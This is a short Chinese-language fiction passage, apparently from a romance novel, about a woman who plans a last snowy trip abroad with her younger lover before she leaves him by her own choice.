在未来两周里,等待他们的是一个陌生的国度,是可以冻死烦忧的漫天大雪,是没有他人打扰的世外桃源。在那个地方,她可以放纵自己毫无保留地爱他,撩他,调戏他,不考虑现实的问题,不考虑走向未来的方法。专注当下,珍惜眼前人。
等她回来,那个家就已经没有她任何物品了。
他们会在漫天的大雪里留下对彼此最后的浪漫回忆,然后将那些回忆埋在雪里,最后各奔东西。
很抱歉,他爱上了一个不够恋爱脑、狠心又自私的姐姐。
她爱他的热烈纯粹,爱他的阳光浪漫,爱他的勇往直前。她想保留所有对这些珍贵品质的美好回忆,不让它们被现实的风浪玷污,所以,她没有给他任何帮她的机会,没有给他任何挽留她的机会。
这是她想要的结局,也是她亲手写下的结局。